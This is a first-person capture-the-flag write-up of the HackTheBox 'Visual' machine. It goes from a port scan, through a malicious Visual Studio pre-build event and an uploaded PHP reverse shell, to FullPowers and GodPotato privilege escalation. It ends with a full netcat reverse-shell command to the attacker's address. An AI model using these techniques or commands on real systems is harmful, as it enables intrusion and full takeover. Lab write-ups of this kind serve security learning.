We start with a port scan:
╰─ nmap -sC -sV 10.129.86.90
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-14 20:03 EDT
Nmap scan report for 10.129.86.90
Host is up (0.033s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds
It looks like there is just one port open on HTTP, let’s give it a look:
The page is telling us that we can link our GitHub repository and if we have it configured properly, the code will be compiled on their infrastructure.
Before we get any funny ideas, let’s just try and see if we can get some ‘Hello World!’ program to run. I also want to make sure that the web application can reach out to our machine alone instead of an actual git repository, and I’ll test this by making a python HTTP server and seeing if a connection starts:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.229.122 - - [19/Nov/2023 15:12:22] code 404, message File not found
10.129.229.122 - - [19/Nov/2023 15:12:22] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
We can also observe on the web application that it failed to run because either the specified .sln
file is not present (which makes sense, the directory is empty) or because the URL is invalid.
I really had to lock in for this because I only have a bit of experience with C# and .NET, thankfully I have some nice friends that were able to give me pointers on it. I’ll leave out all the troubleshooting and talk about what specifically worked for me.
First, we need to make a solution file (.sln
) that the site said we need to use. Solution files are sorta like a make file but for a visual studio project in the sense that it stores information about how the project is to be compiled.
#inside a /Testing directory that I made
╰─ dotnet new sln -n gabe
The template "Solution File" was created successfully.
Next, we need to make a console application project, so that we can use the command line to interact with it instead of installing Visual Studio. We need to specify that we want to use the .NET 6.0 framework that the website requires.
╰─ dotnet new console -n gabe -f net6.0
The template "Console App" was created successfully.
Processing post-creation actions...
Running 'dotnet restore' on /home/kali/Desktop/HTB/Machines/Medium/Visual/Writeup/Testing/gabe/gabe.csproj...
Determining projects to restore...
Restored /home/kali/Desktop/HTB/Machines/Medium/Visual/Writeup/Testing/gabe/gabe.csproj (in 85 ms).
Restore succeeded.
Keep in mind that this command also creates a directory called /gabe
that is used in the next part. The directory will contain a file called Program.cs
that is just a hello world program along with some other stuff.
Now we need to make a .csproj
file, which basically just contains more information about the files in our project and references to assemblies. We need to specify the solution file we want to add to the project and the name of the project file.
╰─ dotnet sln gabe.sln add gabe/gabe.csproj
Project `gabe/gabe.csproj` added to the solution.
Now that we have the project all set up, we can make a Git repository in the directory and commit to it:
# initialize the git repository in our /Testing directory
╰─ git init
# add the changes of this directory to the next commit
╰─ git add .
# commit our changes with the message 'gabe'
╰─ git commit -m gabe
Now we can move into the .git
directory and spin up our server. We do need to run a command to ensure that Git can work with our dumb HTTP server first though:
╰─ git update-server-info
╰─ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now we can request our IP address like this in the web application:
In your python server you should see a bunch of 200 responses and you can observe that your program build successfully:
So, we know that we can at least get our project compiled on some machine, but we can’t be certain if the output is executed on the target machine. I got stuck here for a pretty long time and reached out to some more experienced red teamers who told me to look into pre-build events.
In addition to the brief explanation I will provide next, I want to point out a cool article from BleepingComputer that shows an example of this in the wild (so cool!) and some of the official Microsoft documentation
Pre-Build events do basically exactly what the name suggest, the event is triggered before the project is built. If you look at the screenshot in the Bleeping Computer article, you can even see an example of this being used to get a reverse shell.
So, let’s edit our .csproj
file to contain a malicious pre-build event. I first went to RevShells to make a Powershell reverse shell:
Then I just added a PreBuildEvent
tag to my gabe.csproj
file containing this reverse shell code:
Then we just need to re-run git add
and git commit
to change that one file and open up our HTTP server as well as a listener to catch the shell:
╰─ nc -lvp 1337
listening on [any] 1337 ...
10.129.229.122: inverse host lookup failed: Unknown host
connect to [10.10.14.138] from (UNKNOWN) [10.129.229.122] 49746
whoami
visual\enox
PS C:\xampp\htdocs\uploads\95804d72e09e6192f85109ac395603>
We can go into the enox
user’s desktop to read the user flag and keep going.
This user doesn’t seem to have many useful privileges but we can write into the /xampp/htdocs/uploads
folder that the website led us to earlier. And looking around in that directory reveals that the site uses PHP.
We can upload a PHP reverse shell and hopefully get another user account with more privileges. We just need to use wget
to put it into the upload directory and then we can navigate to the web page and get a shell:
╰─ nc -lvp 9000
listening on [any] 9000 ...
10.129.229.122: inverse host lookup failed: Unknown host
connect to [10.10.14.138] from (UNKNOWN) [10.129.229.122] 49755
SOCKET: Shell has connected! PID: 1316
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\uploads>whoami
nt authority\local service
This user seems to have the same privileges as enox
, but when I did some research on local service, I found out that HackTricks mentions a way to escalate privileges if we are local service.
Normally, service accounts like Local Service
usually begin with SeImpersonatePrivilege
as one of their privileges, but in this case that privilege was removed. Using the linked program called FullPowers.exe, it can recover the account’s default privilege set which should let us use those privileges we lost.
I uploaded this to the uploads directory and ran it to see if it works:
C:\xampp\htdocs\uploads>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\xampp\htdocs\uploads>.\FullPowers.exe
[+] Started dummy thread with id 4756
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\local service
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
C:\Windows\system32>
It appears to have worked perfectly and we can now use SeImpersonatePrivilege
to our advantage. I went back to HackTricks and decided to use GodPotato.
I uploaded GodPotato and NetCat to the machine and ran my exploit to send a shell as Administrator to my machine:
C:\xampp\htdocs\uploads>.\GodPotato.exe -cmd "nc64.exe 10.10.14.138 7777 -e cmd"
[*] CombaseModule: 0x140721431576576
[*] DispatchTable: 0x140721433882736
[*] UseProtseqFunction: 0x140721433258912
---SNIP---
╰─ nc -lvp 7777
listening on [any] 7777 ...
10.129.229.122: inverse host lookup failed: Unknown host
connect to [10.10.14.138] from (UNKNOWN) [10.129.229.122] 49769
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\uploads>whoami
whoami
nt authority\system
Now we can just go the root flag and complete the box.